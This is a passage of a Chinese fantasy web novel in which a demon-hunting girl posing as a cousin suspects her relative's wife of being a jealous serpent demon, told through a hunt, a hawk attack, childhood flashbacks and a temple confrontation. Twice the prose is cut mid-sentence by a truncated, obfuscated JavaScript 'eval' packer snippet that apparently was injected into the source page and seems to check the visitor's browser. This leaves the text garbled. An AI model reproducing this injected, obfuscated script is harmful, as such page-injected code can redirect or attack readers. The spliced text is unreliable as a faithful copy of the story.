这个宋璋看似温柔,但她总觉得这人怪怪的,不过也不一定。妖类善于伪装,极难辨别,说不定看起来最正常的反而是妖。她将目光投向了舒玄礼,天生奇才,温润如玉,爱护妻子,友善朋友,这两天听着府里的丫鬟说来下来,这人简直完美到可怕......难不成是扮猪吃老虎? “玉蝉表妹在想什么呢?” 耳边的声音拉回了玉蝉的思绪,“啊?哦,我也都听表嫂的。” 宋璋眸色微暗,但只一瞬便迅速恢复了神色,微笑道:“那我们就分头出发,一柱香后回来,看咱们谁的猎物更多。” “分头行动?” 玉蝉似乎这才开始思索她方才的话,“这林子这么大,野兽众多,分头行动,怕是不太安全吧。” 她若是离开,就看不到一会儿要发生的好戏了。而且苍鹰毕竟是畜生,若一时斗狠伤了人,她在现场也能把控把控。 蒋无患闻言笑道:“跟着他们才是不安全,我的箭术,那是飞禽走兽,百发百中。” “不过表妹初次涉猎,若是害怕一起走也无妨。”他挑眉看向舒玄礼,“玄礼,你说呢?” 舒玄礼尚未说话,宋璋笑了笑道:“表妹说的有理,那就一起吧。” 四人骑马并行,有一搭没一搭地走着。远处一只兔子时隐时现,在草丛里跑着。 蒋无患当即拿着弓指道:“哎哎哎,是兔子!” 他转头兴奋地看向众人,却见玉蝉宋璋二人一边打马一边出神,只有舒玄礼听了去看那兔子。 蒋无患低声道:“哎,不是嫂嫂喊我出来玩儿的么?怎么你夫人和你妹妹魂不守舍的?” 舒玄礼闻言也看向左边马上二人。 马蹄踏踏的沉闷声像蚊子一样在宋璋耳边嗡嗡,她原本轻快的心丝毫振奋不起来。蒋无患除了家世比舒家稍微差一些,样貌、才学、哄女人的本事都是其他女子易于倾心的。她都把事做到了这个份上,这个崔玉蝉竟还在痴心妄想。今日这满林的绿叶晨光本是她和舒玄礼独享,可如今却多了旁边这位碍眼的存在...... 余光中,一抹红裙飘扬,玉蝉一手扭着衣带,缠了又松,松了又缠,一手拉着缰绳。 她一根手指头就能炸出一片猎物来,偏偏还得配合这些男子观赏开屏。究竟是谁给他们的自信?她瞥了一眼一旁那个清瘦柔丽,仿佛风吹就倒的身影......嗯...大概是这位贤惠的表嫂这种。 远处窸窸窣窣的一只白兔窜过,她看了看天,又看了看前路。现在还是这北山入口处,地势开阔,骤然放鹰只会惹人怀疑,只能等到他们游荡到深林。 她有些不耐地摩挲着手里的弓箭,不是说比赛吗,这群人磨磨蹭蹭,到底什么时候才能进深林! “阿璋,那只兔子可好看?” 舒玄礼见宋璋心不在焉,猜想是她身体柔弱,不经车马颠簸,因放慢了动作,与她并排。 宋璋回过神,看向那兔子,点了点头。 舒玄礼笑道:“那我给你射了来做兔毛垫.....” 他说话间,忽听耳边嗖得一声,一只利箭离弦,二人口中的兔子被射在树上惊恐得瞪着眼睛。 众人都将目光投向了玉蝉,舒玄礼笑意凝固在嘴边,蒋无患先是惊讶而后笑了起来,“玉蝉姑娘,好箭术啊!” 玉蝉仰头勾了勾嘴角,下马上前将那兔耳上的箭拔了下来,众人亦下马跟随查看。 “嫂嫂,这兔子我送你,回去养着玩儿吧。” 她将兔子扔进了宋璋马边的网兜中,拍了拍手上尘土。 一只兔子而已,问问问......有什么好问的,想送送就是了。耽误她捉妖。 宋璋看着转过身去的玉蝉,愣在了马旁。 这丫头什么意思?挑衅她?玄礼方才说要送她的兔子,她宁可自己先夺了来也不让玄礼送她,这是毫不掩饰她对自己的敌意了...... “不是说要比赛吗?我可是已经替嫂嫂得了一只猎物了,二位兄长最后可别比我这个女子还不如——” 玉蝉已上了马,夹紧马腿扬鞭,一边放话一边率先往前面深林跑去。 蒋无患瞬时来了兴致,也紧追着玉蝉往前跑。 宋璋正想开口便见舒玄礼回头看向她,眼中显然也有欣悦之色,“阿璋,咱们也走吧,我倒要让四郎看看到底咱们谁更厉害。” 宋璋吞下了想让他留下的话,扬起笑容,“好,咱们走。” 几匹马儿在树林中驰骋,宋璋的手日常养护的好,与舒玄礼出来射猎要么与他共乘,要么他陪她漫步,所以未曾像今日这般急跑。任凭粗糙的绳子在手心摩擦出一道红痕,她却并不减慢速度,反而拉紧了缰绳,与舒玄礼并驾齐驱。 冷风如刀划过脸庞,她余光所及,男子的注意全在前方的树林中,又或许...在那个红衣女子身上。无人注意到身旁女子柔顺的鬓发下冷冽的眼神,长风猎猎,她从心底钻生出一个念头——不可以再这样失控下去,她要像勒住这匹马一样,勒住他..... 宋璋抬头,看着前方意气风发的女子,缓缓扬起了手中的弓箭。 “啊——” 女子一声惊呼,从马上滚落下来。受惊的马与人都无状地惊叫着,马蹄险些踏在宋璋身上。先是胳膊着地,然后耳边嗡嗡作响,剧痛慢慢传至全身。豆大的泪珠直接撒在草地里。 “阿璋!” 舒玄礼看见身旁女子坠马,急急掉转马头几乎是跳下来飞奔向宋璋,不顾即将落下的马蹄,他将她护在怀里。蒋无患和玉蝉接着都掉头下马,安抚定了那匹疯马。 “这可是玄礼从小骑的马,最是温顺,怎么今日突然发疯了?”蒋无患一边检查,一边道:“马腹倒是有好几道鞭痕,似乎是破了皮。” 宋璋扶着胳膊,试图站起,却痛得直掉泪花,“是我方才太用力了。”她似乎有些羞惭,“我马术不好,追不上你们,所以打它有些用力,这才让它受了惊吓。” 妻子的衣袖和裙摆都被磨破,脸上也带了砾石擦伤的血印,舒玄礼顿时心生愧疚,“都是我不好,只顾着玩乐,忘了顾及你。” “这怎能怪玄郎?是我骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋璋此刻却全然不见了惧色,盯着那鹰的眼睛,拿起了弓箭准备应敌。 舒玄礼咬牙,持着箭追了上去,一把插在了鹰的翅膀上,它仿佛被激怒,这才转头攻击自己。 尖利的爪子抓得皮肉翻飞,背上手上被血浸染,密密麻麻都是爪痕。可它叼了几口肉就试图飞走。 他只得徒手去抓它的翅膀,继续激怒它博得关注。 这鹰不对劲,为什么只盯着阿璋? 远处男子血肉模糊,宋璋看得肝胆欲裂,一瘸一拐忍着剧痛朝他爬来。 “别过来,阿璋!” 男子的呼喊,她充耳不闻,那鹰不知发了什么疯,林中这么多野兽不抓,竟冲着人来,似乎要致人死地,再这么下去,玄郎会被它咬死的! 偏偏她的腿不争气!早知方才便不该自伤! 饶是强行忽略手上腿上的剧痛,她也依旧爬不起来,只能缓慢匍匐着,眼睁睁看着男子被苍鹰虐杀。 不,那是她的玄郎,玄郎不能死! 她放弃了挣扎,一边看着男子,一边捡起了地上的箭矢。 舒玄礼已不再痛呼,背上一块肉被鹰生生咬走,却咬紧了牙关怕被妻子听见,他不断朝她挥着手,示意她离开。 宋璋收回了目光,咽了咽口水,继而握紧手中箭矢,下定了决心。 粗糙的箭尖割开皮肉,嘶啦一声,鲜浓的血液争先恐后从绽开的皮肉中涌出, 一股异香飘入鹰的鼻尖,它抬起了头看向了对面那个女子,喙尖尚在滴血。 宋璋注视着它,双腿有些发软。但看向男子后,又颤抖着割下一又道口子。 血液低落在地,鹰张开了翅膀,朝她飞去。 舒玄礼明白了她的意图,目眦欲裂。 “阿璋!——” 5. 七杀女 快到众人上山的地方时玉蝉忽而停了下来,蒋无患闻声转过头,“玉蝉姑娘,怎么了?” “蒋郎君你走得太快了,我想喝口水歇会儿。” 玉蝉鬓发散乱,一副气喘吁吁的样子。 蒋无患道:“对不住,玉蝉姑娘,我光想着给嫂嫂拿药.....” 玉蝉俯身拿过水壶灌了两口,用袖子擦了擦下巴,继而笑道:“看得出蒋郎君着急,不知道的还以为你才是我嫂嫂的郎君呢。” 蒋无患神色一滞,玉蝉笑道:“我说笑的,我嫂嫂人好,二哥也是正人君子,他们的朋友定然和他们一样热心。再说我虽然来的日子短,却看得出嫂嫂和二哥琴瑟和鸣,鹣鲽情深,我嫂嫂满眼满心都只有我二哥一人。” 蒋无患失笑,“这倒是,你家嫂嫂对你二哥的情意,就连瞎子只怕都看得到。” 他似乎有意无意地看了玉蝉一眼,“不过你二哥也不相上下,你是不知道当初玄礼为了娶璋娘那个倔劲儿,那大雪天里,硬是跪了整整两天,你姨母要再晚点儿答应他恐怕就真冻死了。我还从没见过这小子这么有骨气,这么有魄力......” 玉蝉笑了笑,“死也要在一起,这份情意真让人动容。” 密林上空有群鸦飞过,一片羽毛悠悠落在玉蝉袖边,她捻起羽毛缩进袖中,它便化成一道金光,瞬时消失在指尖。 她撇了撇嘴角,已经到极限了,却还是无事发生。难道不是他们? 罢了,得过去看看了。 她忽而抬起头作出一副惊愕的样子,“蒋郎君,你听到了吗?” “啊?听什么?” “我刚刚听到表哥的声音。”玉蝉似乎很是担忧,“你没有听到吗?表哥好像在喊救命。” 蒋无患方才似乎是听到了什么叫声,但是又好像没有,不过看玉蝉如此确定,他便也相信了她。 蒋无患想了想,“那片深林的确常有猛兽,说不准她们遇到麻烦了。这样,我先回去看看,你继续往回走叫咱们的人一道追来。” 玉蝉点头,“好!你快点儿,我马上就来!” 宋璋见那庞然大物飞来,便已做好了准备,狠狠将箭插在了苍鹰胸前,它振翅将她仆倒。蓄力再发之际,浑身是血的舒玄礼却不知何时冲了来用身体挡住了宋璋。 鲜嫩的猎物近在咫尺,却被另一人阻挠,苍鹰愤怒地在男子脖子上落下一爪。 “唔......” 黑暗温暖的怀抱中,宋璋听见身上人极力隐忍的痛楚,温热的液体淌进她颈间,濡湿了衣裙。任凭泪水倾泻,她怎么用力也再挣不开身上的枷锁。 “阿璋......” “你身上...好凉啊......” 熟悉的虚弱声从头顶传来,她的心连通着咽喉犹坠千斤,如窒万刃,张开口却一个字也说不出来,热泪似岩浆滴落,余烬成烟。 炙烤......疼痛从心脏蔓延向头顶、双臂...... 凉吗?她一点儿也不觉得冷,只觉得有快要被灼伤的炽热,身下干枯的草叶,身上的光滑的皮肉,都散发着炙烤的味道—— “阿璋,玄礼!” 在舒玄礼以为要命丧当场时,一只利箭穿透了鹰嘴,将它钉在了远处的树上。 熟悉的声音传来,蒋芸的手还在颤抖着,眼前一片林子都是血迹,舒玄礼的背上已经能看见猩红血肉之下的白骨。他若是再晚来一步,舒玄礼只怕连骨头渣子都不剩了。 “玄礼......” 蒋无患试图扶起舒玄礼,却发现无从下手。 还是宋璋又急切地唤了两声,舒玄礼才定了定神,微微松开了环抱她的手,但只一瞬,便卸了力倒在宋璋身上。 玉蝉带着下人们紧接着赶来,蒋无患与舒宅下人均围着两人包扎处理,一面哭一面议论。 “这么多血,少夫人和郎君不会死吧?” “呸呸呸!别哭了,快点包扎,包好了还要把郎君和少夫人抬下山诊治。” “今日是怎么了?哪儿来的畜生如此疯魔......” 玉蝉听着众人的议论,慢慢走到了树边。 斩妖之人,最忌讳以捉妖术害人,今日之事若叫师父知道了,免不了一顿责罚。只是她没想把人弄成这副样子,苍鹰由她驯养,最知分寸,最多趁乱叼块肉私吞罢了。今日竟仿佛中了邪,把这两人折磨成这副血肉模糊的样子,自己也被射成了筛子。 她将箭拔了下来,审视着手中苍鹰。 这支灰翎的是蒋无患的,这几支白翎的是舒玄礼在争斗过程中射进去的,似乎并无异常...... 她想了想,聚集灵气在苍鹰体内流走了一遍。 射伤、擦伤、扭伤.....嗯? 灵气在鹰腹时顿了顿,玉蝉看向它,是毒伤! 不对!它的五脏六腑全都腐烂了,这鹰……不是死于方才蒋无患的那支利箭。而是在利箭穿喉之前,它就已经中毒了。 她低头闻了闻箭头,暗红色的血...... 插入鹰腹的这只箭上除了鹰血,还混合了人血! 滴——滴—— 漏声一点一点在无风的暗夜响起,鲜红的烛油一滴一滴落下。 刻漏数着男子所剩无几的生命,烛油落着两个孩子积蓄的泪水。 窗边的油灯摇摇欲灭,床上男子的视线也随之模糊又复清晰。红巾落在地上,飘在女孩的裙边,她垂眸蹲下身要去捡。 男子那双干瘦的手却拉过了她,“咳咳,阿璋,我刚刚说的你都记住了吗?” 女孩儿点点头,“记住了,地契房契还有现钱都锁在匣子里,谁也不能给。” “还...还有呢?” 女孩儿想了想,看了一眼身旁一同跪在床前的男孩儿,“照顾好阿弟,要盯着阿弟读书,不能让他淘气。” 男子摸了摸她的脑袋,“阿璋真乖。” 他对男孩儿招了招手,空洞的双眼中积满了泪水,“阿珏,要听阿姊的话,以后爹不在了,你们就是世上最亲的两个人了,要彼此扶持,彼此......” 男子说着又咳了起来,阿璋抚着他的胸口:“阿爹别说了,我去给你端药来,吃了药就好了。” 女孩儿说着焦急地往屋外走,男子又是一阵剧烈咳嗽,“别走,阿璋...别走......” 女孩儿回过头,满眼的血红便落在帷幔之上,两个孩子哭了起来,“阿爹!” 男子抬起冰凉的手抓住了两个孩子的小手,“孩子,好好...活......” 红烛落尽,白帷布满了整座府邸。 侍女给她戴上白色的花,穿上白色的丧服,黄麻腰带。 白色的纸钱在青白的天空中起落,她跟在小小的白人儿的后面,想到的却是挥之不去的红色。 “翠云,我要戴这个!” 女孩儿看着镜中发髻上的白花,指了指桌上的牡丹。 “娘子,你阿娘的丧期还没过,不能戴红花儿。” 女孩儿撇了撇嘴,“为什么不能!我就要戴!我就要戴!” 吵闹声惊醒了摇篮里睡着的婴孩,他皱着小脸大哭起来。 侍女无奈要将花收起,“娘子,真的不行,你知道丧期是什么吗?你戴红花你阿娘会不高兴的。” “我不,阿娘最喜欢给我戴花儿了,阿娘才不会不高兴!” 女孩儿皱着眉头要去抢,“给我!翠云,我就要戴......” 啪得一掌落在女孩儿脸上,脸上一阵麻痹,接着鼻子里热流涌出,一滴一滴的血落在女孩儿的鞋面上。她大哭起来。 “呜啊啊——呜呜呜——” “娘子不哭,娘子不哭。”侍女不知所措地安慰着。 男子与语带愠怒:“你还有脸哭,今日是你阿娘的头七,她死了,她死了你知道吗!” 死亡是什么,头七是什么,三岁的女孩儿的确不明白是什么。 春风穿树而过,梨花送悲,悠悠停歇鬓间。 她现在明白了,死亡就是离别的意思。母亲三岁与她离别,父亲在她十岁这年又离开了她。 她不想和他们分别,可是任凭她苦苦哀求,终究无法挽留...... “二弟年纪轻轻,怎么就这样死了啊——” “现在就剩这两个半大的孩子,没爹没娘,以后可怎么是好——” “都是命啊,这一家子,死的死,病的病。我看是有点说头。” “什么说头?” “阿璋呐,还在肚子里时候那算命师傅就说了,这孩子命不好,八字带煞,克夫克父。当时二弟媳妇还不信,当即就挂了脸,你看看后来,还没到三年去了吧?” “那不是生阿珏难产么,你这张嘴啊,少胡说吧,这两孩子多可怜呐。” 一阵又一阵的风将女孩儿的眼泪吹干,漆黑的瞳孔吹得生疼,她却一眨不眨地盯着眼前的一切。 不能生气,不能哭闹。 阿爹说了,要忍,忍到阿弟长大。忍到自己有了夫婿,有了子女...... 她拼命地睁着眼睛,可是好干,好痛,狂风像刀子一样在她的眼睛里搅动,翻滚,她终于忍不住揉了揉眼睛。模糊过后,却是残酷的寂静。 “阿璋啊,别难过,伯母知道这不怪你。这都是命啊!” “谁能想到,这好好儿的过个元宵,阿珏就偷跑出去了呢?已经找了三个月了,东流就这么大,恐怕是找不到了。” 女子一边拭泪,一边蹲下身将女孩儿抱进怀里,“你一个女孩儿往后当不住家,就让伯母照顾你好吗?” 女孩儿没有回答她,只是呆呆地望着手里攥着的木剑。 她亲手给阿珏刻的剑。爹死了,族学里的孩子都笑话他是没爹的孩子。她说他还有阿姊,阿姊一样可以保护他。 她盯着他写字,看书,像爹那样督促他学习,像娘那样照顾他的衣食。 为什么?她明明对他那么好,为什么要跑出门?为什么不听话? 为什么—— 少女穿着大红的衣服,坐在大红的帐子里,拿着血红的帕子,一手扶着男孩儿的背。 “对...对不起......”“咳咳咳咳——” 一身新郎打扮的男孩儿脸色苍白,乌唇带血,虚弱地看着眼前的少女,“我这样,也不想祸害别家姑娘,可是我阿娘...咳咳咳咳——” 他咳得说不出话,推开女孩儿伸向床外,咳完一阵才又躺下来,“我阿娘非要给我娶个媳妇,说是能...能治好我的病。他们说这叫冲......冲......” “冲喜。” 少女淡淡道。 “没关系,你借不走我的运,我也冲不了你的喜。” 她垂眸,熟练地将帕子扔在铜盆中,又拿了一块帕子为他擦拭。 “我大伯母没告诉你娘,我命中带煞,只怕我会先克死你。” 男孩儿愣了愣,一时顿在了原地。 灯火葳蕤,少女面庞稚嫩,那双瞳孔却似深井寒潭,枯朽无波。 看着他呆滞的模样,那冰冷的面孔忽而展开了笑容,“骗你的,放心吧,你死不了。” 男孩呆呆笑了笑,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘子,娘子你怎么了?你别哭,你可千万别哭。要是老夫人听见了,定要骂咱们咒郎君死呢。” 宋璋指尖微微一动,抬眸看向明心,“什么?” “大家都没事,就郎君伤得最重,全身上下都没一块儿好皮。蒋郎君是外人,又是他救的郎君,表小姐他都不在场。这火不就冲着您来了吗?” 宋璋听得不耐,抓住明心的手,攥得她生疼。“郎君没死?” “大夫说还好救治得及时,止住了血,不然就是当场毙命了。不过现在还是用药吊着,郎君昏迷不醒,若过了明日还不醒,就救不了了。” 宋璋闻言立刻起身朝外走去,明心一边追一边劝:“娘子,娘子不能去。老夫人说了不许您去看郎君。” “娘子,您的伤还没好呢——” “娘子——” 宋璋的脚步猛然停住,女子手里端着药碗,上下扫视了她一眼,勾了勾嘴角。 “嫂嫂醒了?” 宋璋没再与她寒暄,只是要往里走,玉蝉却身形一转,拦住了她。 她抬眸,冷冷看向了眼前的女子,“让开。” “鞋子还没穿,衣裳也没披......”她忽而掩袖轻笑,意有所指道:“嫂嫂是忘记这里还有旁人在了么?” 宋璋顿了顿,敛了一身煞气,声音透着虚弱,“我知道老夫人有命,表妹也是为难。可玄礼生死未明,我心中实在挂念。表妹让我进去,一切罪责由我承......” “不为难。” 宋璋松了口气就要往里走,“多谢表妹......” 玉蝉却忽而一把推开了她:“我本就不想让你靠近表哥。” 女孩倾身弯腰,笑容在眼前绽开,“嫂嫂,表哥是我的了。” 宋璋笑意瞬时凝固,手臂碰撞的剧痛仿佛失去了存在,她跌坐在门外,目光死死盯住了那扇关闭的大门。 崔玉蝉...... 女子的笑脸不断在眼前放大,她的声音重复在耳畔...... 单薄的素衣下有红色渗出,钻出层层纱布,渐渐洇开,一片一片深浅绽放,如红药染血,妖丽诡艳。 玉蝉抱臂靠在窗前,嫌弃地挥了挥手。 满屋子的药味...... 她将目光投向了窗外满地的芍药。满地红芍,似乎都是宋璋的喜好,下人们说郎君和娘子的定情之物就是这红芍,所以娘子喜爱。又因娘子喜爱,所以郎君在书房、所居院落都种满了芍药,这红芍更是两人亲手所种。 她勾了勾嘴角,倒是伉俪情深,只可惜枕边非人,飞来横祸。 虽然还不能确定是不是妖,依照方才那宋璋的神情,若真是妖,必定拼了命也要护住舒玄礼的。生死关头,哪还管什么暴不暴露。 可是那支箭明明是宋璋划破,沾了她的血,苍鹰中毒,腑脏溃烂,这绝不是一个正常人的血所能做到的。 她手指一勾,折取了一株红芍,在手里打着转。 忽而,手中的芍药开始一瓣瓣凋落,迅速焦枯....... 火焰从干枯的花瓣中生出,萦绕于指尖。 灼烫从手指处传来,花瓣落在地上,蜷缩成一团,化为灰烬。 这气味...... 玉蝉猛然回过头,看向门外。 影影绰绰间,那具单薄的身姿依稀可见。 她眼中一定,手心生出了金色的光圈。 是妖的味道—— 终于又再次出现了。 6. 般若妖 玉蝉骤然推开门,一道金光袭向宋璋,她整个人被击中倒在回廊栏杆边。 “怎么不出手?” 玉蝉冷笑,“嫂嫂,这里没有旁人,大可不必束手束脚。” 宋璋皱着眉头看着她,“你……你是,妖怪!来人……” “还在装疯卖傻。”玉蝉一把掐住了她喉咙,“说,你来舒家接近舒玄礼有什么目的?” “这话应…应该我问你。妖女……” 宋璋面色通红,孱弱的身体像一只小鸡仔被提了起来。即将被面前的女子掐断拧下。 还不承认…… 玉蝉左手掐着她,右手凝聚了一团金光。 “既然你不说,那就别怪我不客气了。” 耀眼的金光在眼前亮起,她感受到一户强烈的气息袭来,宋璋闭上了眼睛。 下一刻,却并未感受到痛苦,只有缓缓的溪流顺着全身筋脉流走而过。 玉蝉试探着,却露出了疑惑的神情。 没有?怎么可能没有? 玉蝉怔愣的瞬间,宋璋猛地推开了她,剧烈咳嗽着。 她冷眼看着眼前狼狈的女子,毫无还手之力?还是只是未到绝处…… 掌心再度凝聚了灵力,她向宋璋靠近。 “娘子!这么冷的天,娘子怎么坐在这儿?” 明心总算追上宋璋,却见她脸色苍白,浑身冰凉地倒在一边,眼前的玉蝉却面色凶狠。 她暗暗白了玉蝉一眼,忙扶起宋璋,“娘子肩上的伤都裂开了,快回去躺着吧。” 两人渐渐走远,玉蝉看着宋璋的背影,忽而想到了什么。 善于隐藏…… 妒火燎原…… 她跑回房中翻出了那本羊皮手册,金翅鸟、九尾、饕餮、魅女…… !找到了! 般若……东瀛妖魅,蛇形人面,好□□,性善妒,喜矫伪。以人夺爱,则生妒火,则释怨毒。穿肠烂肚,毒性甚重。 万妖录说,以人夺爱,则生妒火...... 这几次妖气的泄露似乎都与舒玄礼有关,之前是他性命受到威胁,方才是因为她将宋璋拦在门外——她是般若。 宋璋平日这幅良善面孔都做得很好,可是唯独一涉及舒玄礼,她便压抑不住嫉妒,她才会察觉异常。那么是不是只要顺着这条线索就能抓住她真正的样子...... 宋璋坐在一旁任由明心为她包扎,一副出神的模样。 撩开衣袖,果然见手腕处正往外渗着血。 明心拿来药,又吩咐人将屋里点上炭火,一边包扎,一边愤愤道:“表小姐怎么这样,虽说是有夫人的吩咐,她也不能推您啊,您才是院里的主人,她一个客人竟如此跋扈,真该让老夫人好好看看她那人前一套背后一套的样子!” 明心嘟囔半日,却听宋璋没应声,她抬起头却见宋璋仍旧呆滞。 “娘子?娘子?可还有哪不舒服?” 宋璋视线慢慢移向她,忽而道:“明心,她是妖怪。” “谁?谁是妖怪?” “崔玉蝉,她是妖怪。” 明心一时没反应过来,不知宋璋口中所说是否是那个意思,“表小姐当着您如此刻薄,在众人面前却卖乖讨巧,的确是妖怪一般。” “她真的是妖我看见了!” 明心的手猛然被拉住,映入眼帘的是宋璋惊惧的瞳孔,“我看见她的手萦绕着金色的光圈,她一只手就能将我提起。她不是崔玉蝉,她根本不是崔玉蝉!” 明心渐渐明白过来宋璋所说的意思,也是一脸惊异,“娘子,你是说小姐......” 随机她又否定了自己的这个想法,不可能,东流已经十几年没出现过妖了,小时也曾听大人说过夜里山上妖魔横行专抓不听话的小孩的故事,可那只是大人对孩子的恐吓,做不得真。她从一岁长到如今十七,别说妖了,连鬼都没见过。 她想,娘子刚刚醒来不久,又做了噩梦,受了惊吓,怕是人还没缓过神来,产生了幻觉。 于是明心安慰道:“娘子别怕,我去找些桃木来给您挂在帷帐中,您先躺下歇息一会儿,定定神。” 宋璋一听便知明心没有相信她的话,她忽而站起身开始穿衣服。 “娘子要去哪儿呀?老夫人说了不让您去,咱们还是等郎君醒了再去看他?”明心有些担忧。 宋璋却已经穿好衣裳往外走,“有她在谁知郎君能不能好好地醒来,我得去告诉老夫人,家里进了妖,她要害玄礼,她要害我们所有人。” “荒谬!” 沈氏重重放下茶盏,冷嘲热讽道。 “你说玉蝉是妖,怕是你骑马射猎玩得昏了头了。” 她还没跟宋璋算儿子受伤的事,她什么意图,她还不清楚吗?为了把玉蝉引介给蒋无患,撺掇着玄礼出门射猎。若非她善妒又要装大方,玄礼怎会碰上这种事? 她正愁没由头惩治她解恨,这倒好,送上门来。 “我亲眼看见她手上生出金光,非人力所能及,若是请来道士,一试便知。” “你说的容易,把我们舒家当什么了,道士进进出出,查验自家的小姐,若一无所获,你当如何?我怎么与你姨妈分说?那些道士若传扬出去我们舒家的脸往哪儿搁!” “我知道你心里盘算着什么,不说出来是给你留了几分脸面。若再生事诋毁,我绝不轻饶。” “母亲,我……” “来人,送二少夫人出去。” 沈氏并未相信她的话,恐怕不止沈氏,所有人都以为她病入膏肓,产生了幻觉。她的话,被认为是争风吃醋的构陷。 可是不行,她一想到那只妖在舒玄礼身边她就如百爪挠心,一刻不能安生。 她来舒家接近玄礼究竟想做什么? 不,沈氏不管这件事,她必须管,她要去请道士来除妖。 “金色的光圈......” 明悟一边思忖,一边打量着眼前的女子。距离东流进妖都多少年前的事了,哪来的妖怪,又不害人又不夺物。不过倒是有许多夫妻不和睦的女子来道馆求助,小孩儿生了病,男人寻了新欢,婆母搓磨,便硬说是他们身上被邪祟附了身,被妖魔入了体。 寻他们其实也不过是找个心理安慰。 他也就接应着她的话,煞有介事地拿着法器在宋璋身边转悠了几圈,摇了几回铃,再度睁眼,严肃道:“娘子身上的确有一团黑气萦绕,这妖...我算算......” 东流临海多水,既然是投奔来的表妹...... “是水妖。水上多风浪,水底深暗多滋精灵,娘子身上的这团黑气是水妖所带。” “不错!她的确是乘船而来,家在金陵。道长替我看看可要紧?” “娘子放心,不过一还未修成人形的小妖。”明悟从背包中拿出一样符纸,一个油纸包交给宋璋,“娘子只需把这驱邪符放入那人枕边,再把这土精散放入水中让她喝下,这邪祟便定然烈火焚心,魂飞魄散。” “若仍然不能呢?”宋璋总觉得事情没那么简单,“若邪祟未除,届时可否请道长下山一趟,去我宅中为我消灾。” 明悟想了想,“若娘子仍有不适,我便转告我师兄或是掌门,请掌门亲自下山。” “好,多谢道长!” 阴雨又连绵地下了起来,宋璋站在门口伫立了一会儿,人来人往,无论是雨是雪,并不能阻止络绎不绝的香客。痛苦、欲望是这世上最漫长的东西,比雨还要细密,比雪还要多。 痛得太久,人就会麻木,会冷漠。 她独自站在阶前,与千百人擦肩接踵,灯火通明,香烟缭绕,她却恍若一人,与世隔绝。 不是不喜欢雨天,也不是不喜欢雨。 只是还要多站一会儿,假装期盼,等到似乎确实不得已至于绝地,才好故作惊慌地抱头沐雨而去。 他们都是这样做的。 于是她数着时间,顾盼、踱步、叹气,确认没有人来接应自己,提起裙摆小跑了起来。 宋璋的肩膀骤然一痛,两人相撞,她倒吸一口凉气,一个趔趄,幸而得那女子扶了起来。 “多谢......” 她猛然收回了手,跌坐在地上。 “你跟踪我?” 玉蝉先是一愣,继而勾了勾嘴角,“嫂嫂来这里是来想办法除掉我的吧。” 她蹲下身看着宋璋,“你是真不明白,还是装不明白?” 宋璋冷笑,“我听不懂你在说什么。” 玉蝉想了想,“罢了,我不想与你逞口舌之快。我原也不是为你而来的。” “那你是为谁而来,你想做什么?” 宋璋闻言立刻摆出了一副凶恶的神情,分明害怕得衣袖在颤抖,却装出一副冷脸...... 玉蝉笑道:“为了谁你不是最清楚么?” “姨母说了,你身有不详,不能生育。这回害得表哥受这么重的伤,她绝不能留着么一个祸害在身边。她要替表哥休了你,然后扶我做正妻。” “我与玄礼成婚未到七年,侍奉夫君,恭敬婆母,宽和待人,未犯七出。她没有资格休我。” “资格?你一个孤女,无依无凭,休你要什么资格。便是休了你,又能怎样?你还想去告官么?先不说你这身板经不经得起那杀威棒,表哥交好的同学是县令家的大郎君,你觉得他们会帮你还是帮舒家?” 宋璋不说话了,她一双眼睛紧紧盯着玉蝉,眼泪逐渐漫出。 “嫂嫂,这样对我没用。” “你究竟要什么?” “舒玄礼。”玉蝉一字一句道:“嫂嫂觉得他好,我也觉得他好。这样一个深情上进的好郎君,妹妹我也想要,可惜嫂嫂拦着不放,那就只好让你滚出去了。” “嫂嫂放心,我知道他不喜欢我,可是表哥正直心善,这些天我衣不解带地照顾他,给他喂药擦洗身体,他胸口、背上、腰上.......啧啧啧,到处都是伤口。” 玉蝉一边说着,一边观察着宋璋的神情。她双手紧攥,双眼通红,桃色的裙摆为泥洼中的水洇湿,却渐渐地一泓静水中生出白烟,迅速干涸。 ! 出现了! 果然如此。 玉蝉猛然起身,一掌向眼前女子袭去。 再度看到那道金光,宋璋来不及躲闪,却见一个干瘦的道士接下了那掌,拦在了她面前。 她像抓住了救命稻草,“道长救命!她是妖......” “掌门,您这是做什么?” 赤炼扶起宋璋,看向玉蝉,“我青云山境内,何故伤人?” “她是妖,我正要杀了她,替天行道。” 赤炼闻言回看了宋璋一眼,女子一脸惊惧,泪痕满面,一副娇弱之态。 玉蝉道:“她不是一般的妖,她是般若。最善隐藏妖气,您可不要被她这可怜的样子骗了。” “般若?” 赤炼转向了宋璋,“娘子,不知可否闭眼让小道一观?” 他们认识......宋璋戒备地看着两人,手中暗暗藏着头上拔下的簪子。 赤炼瞥见,了然道:“娘子别误会,我修炼多年,粗识一些法术。这位姑娘是我师弟的徒弟,下山历练,或许对娘子有一些误会。待我查验清楚,也好让她不再纠缠。” “怎么,你口口声声说自己不是妖,现在有机会证明自己了,却不敢了?” 宋璋朝她投来一记冷光,接着看向赤炼,“我愿意让道长查验,可若我不是,玉蝉姑娘又当如何?。” “你不是妖,我崔字倒着写。” 宋璋冷笑,“你本就不姓崔,谁知道你是何种妖物?” “你......罢了,我不与你逞口舌之快。” 宋璋闭上了眼。一股温暖醇厚的气息从她血脉中流过,片刻后赤炼收回了气息。 “怎么样,掌门,可要拿收妖袋来?” “这位娘子不是妖。” “什么?”玉蝉的话愣在了嘴边,“不可能,她就是妖,不过是此刻隐藏了而已。” “好,你既这般隐藏,我就让你知道死字怎么写!” 玉蝉掌心凝聚一团光焰,熊熊地燃烧着,赤炼却径直拉住了她,“玉蝉,你师父的教诲你都忘了?不可依术妄自伤人!” “她不是!” “何故如此执拗?我的话你也不信?” “我......” 